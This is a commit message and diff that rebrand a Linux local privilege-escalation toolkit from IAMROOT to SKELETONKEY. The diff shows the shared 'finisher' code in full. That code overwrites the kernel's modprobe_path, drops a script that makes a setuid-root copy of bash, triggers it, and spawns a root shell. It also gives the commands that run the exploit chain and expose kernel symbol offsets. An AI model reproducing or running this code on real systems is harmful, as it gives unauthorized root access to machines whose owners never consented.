rename: IAMROOT → SKELETONKEY across the entire project

Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.

Changes:
  - All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
    values, docs, comments)
  - All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
  - iamroot.c → skeletonkey.c
  - modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
  - tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
  - Binary "iamroot" → "skeletonkey"
  - GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
  - .gitignore now expects build output named "skeletonkey"
  - /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
  - Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*

New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.

VERSION: 0.3.1 → 0.4.0 (breaking).

Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.

core/finisher.c

@@ -1,5 +1,5 @@
 /*
- * IAMROOT — shared finisher helpers
+ * SKELETONKEY — shared finisher helpers
  *
  * See finisher.h for the pattern split (A: modprobe_path overwrite,
  * B: current->cred->uid).
@@ -30,7 +30,7 @@ static int write_file(const char *path, const char *content, mode_t mode)
     return 0;
 }
 
-void iamroot_finisher_print_offset_help(const char *module_name)
+void skeletonkey_finisher_print_offset_help(const char *module_name)
 {
     fprintf(stderr,
 "[i] %s --full-chain requires kernel symbol offsets that couldn't be resolved.\n"
@@ -38,7 +38,7 @@ void iamroot_finisher_print_offset_help(const char *module_name)
 "    To populate them on this host, choose ONE of:\n"
 "\n"
 "    1) Environment override (one-shot, no host changes):\n"
-"         IAMROOT_MODPROBE_PATH=0x...  iamroot --exploit %s --i-know --full-chain\n"
+"         SKELETONKEY_MODPROBE_PATH=0x...  skeletonkey --exploit %s --i-know --full-chain\n"
 "\n"
 "    2) Make /boot/System.map-$(uname -r) world-readable (per-host):\n"
 "         sudo chmod 0644 /boot/System.map-$(uname -r)   # if you have sudo\n"
@@ -54,26 +54,26 @@ void iamroot_finisher_print_offset_help(const char *module_name)
         module_name, module_name);
 }
 
-int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
-                                   iamroot_arb_write_fn arb_write,
+int skeletonkey_finisher_modprobe_path(const struct skeletonkey_kernel_offsets *off,
+                                   skeletonkey_arb_write_fn arb_write,
                                    void *arb_ctx,
                                    bool spawn_shell)
 {
-    if (!iamroot_offsets_have_modprobe_path(off)) {
-        iamroot_finisher_print_offset_help("module");
-        return IAMROOT_EXPLOIT_FAIL;
+    if (!skeletonkey_offsets_have_modprobe_path(off)) {
+        skeletonkey_finisher_print_offset_help("module");
+        return SKELETONKEY_EXPLOIT_FAIL;
     }
     if (!arb_write) {
         fprintf(stderr, "[-] finisher: no arb-write primitive supplied\n");
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
     }
 
     /* Per-pid working paths so concurrent runs don't collide. */
     pid_t pid = getpid();
     char mp_path[64], trig_path[64], pwn_path[64];
-    snprintf(mp_path,   sizeof mp_path,   "/tmp/iamroot-mp-%d.sh", (int)pid);
-    snprintf(trig_path, sizeof trig_path, "/tmp/iamroot-trig-%d", (int)pid);
-    snprintf(pwn_path,  sizeof pwn_path,  "/tmp/iamroot-pwn-%d",  (int)pid);
+    snprintf(mp_path,   sizeof mp_path,   "/tmp/skeletonkey-mp-%d.sh", (int)pid);
+    snprintf(trig_path, sizeof trig_path, "/tmp/skeletonkey-trig-%d", (int)pid);
+    snprintf(pwn_path,  sizeof pwn_path,  "/tmp/skeletonkey-pwn-%d",  (int)pid);
 
     /* Payload: chmod /bin/bash setuid root + drop a sentinel so we
      * know it ran. Bash 4+ refuses to use its own setuid bit by
@@ -81,14 +81,14 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
     char payload[1024];
     snprintf(payload, sizeof payload,
 "#!/bin/sh\n"
-"# IAMROOT modprobe_path payload (runs as init/root via call_modprobe)\n"
+"# SKELETONKEY modprobe_path payload (runs as init/root via call_modprobe)\n"
 "cp /bin/bash %s 2>/dev/null && chmod 4755 %s 2>/dev/null\n"
-"echo IAMROOT_FINISHER_RAN > %s 2>/dev/null\n",
+"echo SKELETONKEY_FINISHER_RAN > %s 2>/dev/null\n",
         pwn_path, pwn_path, pwn_path);
 
     if (write_file(mp_path, payload, 0755) < 0) {
         fprintf(stderr, "[-] finisher: write %s: %s\n", mp_path, strerror(errno));
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
     }
 
     /* Unknown-format trigger: anything that fails the standard exec
@@ -97,7 +97,7 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
     if (write_file(trig_path, "\x00", 0755) < 0) {
         fprintf(stderr, "[-] finisher: write %s: %s\n", trig_path, strerror(errno));
         unlink(mp_path);
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
     }
 
     /* Build the kernel-side write payload: a NUL-terminated path to
@@ -114,7 +114,7 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
         fprintf(stderr, "[-] finisher: arb_write failed\n");
         unlink(mp_path);
         unlink(trig_path);
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
     }
 
     /* Fire the trigger by exec'ing the unknown binary. fork() so the
@@ -129,7 +129,7 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
         waitpid(cpid, &st, 0);
     } else {
         fprintf(stderr, "[-] finisher: fork: %s\n", strerror(errno));
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
     }
 
     /* Modprobe runs asynchronously — give the kernel up to 3 s. */
@@ -146,14 +146,14 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
     fprintf(stderr, "[-] finisher: payload didn't run within 3s (modprobe_path overwrite probably didn't land)\n");
     unlink(mp_path);
     unlink(trig_path);
-    return IAMROOT_EXPLOIT_FAIL;
+    return SKELETONKEY_EXPLOIT_FAIL;
 
 have_setuid:
     if (!spawn_shell) {
         fprintf(stderr, "[+] finisher: --no-shell — leaving setuid bash at %s\n", pwn_path);
         unlink(mp_path);
         unlink(trig_path);
-        return IAMROOT_EXPLOIT_OK;
+        return SKELETONKEY_EXPLOIT_OK;
     }
     fprintf(stderr, "[+] finisher: spawning root shell via %s -p\n", pwn_path);
     fflush(stderr);
@@ -161,11 +161,11 @@ have_setuid:
     execve(pwn_path, argv, NULL);
     /* Only reached on execve failure. */
     fprintf(stderr, "[-] finisher: execve(%s): %s\n", pwn_path, strerror(errno));
-    return IAMROOT_EXPLOIT_FAIL;
+    return SKELETONKEY_EXPLOIT_FAIL;
 }
 
-int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off,
-                                   iamroot_arb_write_fn arb_write,
+int skeletonkey_finisher_cred_uid_zero(const struct skeletonkey_kernel_offsets *off,
+                                   skeletonkey_arb_write_fn arb_write,
                                    void *arb_ctx,
                                    bool spawn_shell)
 {
@@ -173,7 +173,7 @@ int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off,
     fprintf(stderr,
 "[-] finisher: cred_uid_zero requires an arb-READ primitive (to walk\n"
 "    the task list from init_task and find current). Modules with\n"
-"    only an arb-write should use iamroot_finisher_modprobe_path()\n"
+"    only an arb-write should use skeletonkey_finisher_modprobe_path()\n"
 "    instead — same root capability, simpler trigger.\n");
-    return IAMROOT_EXPLOIT_FAIL;
+    return SKELETONKEY_EXPLOIT_FAIL;
 }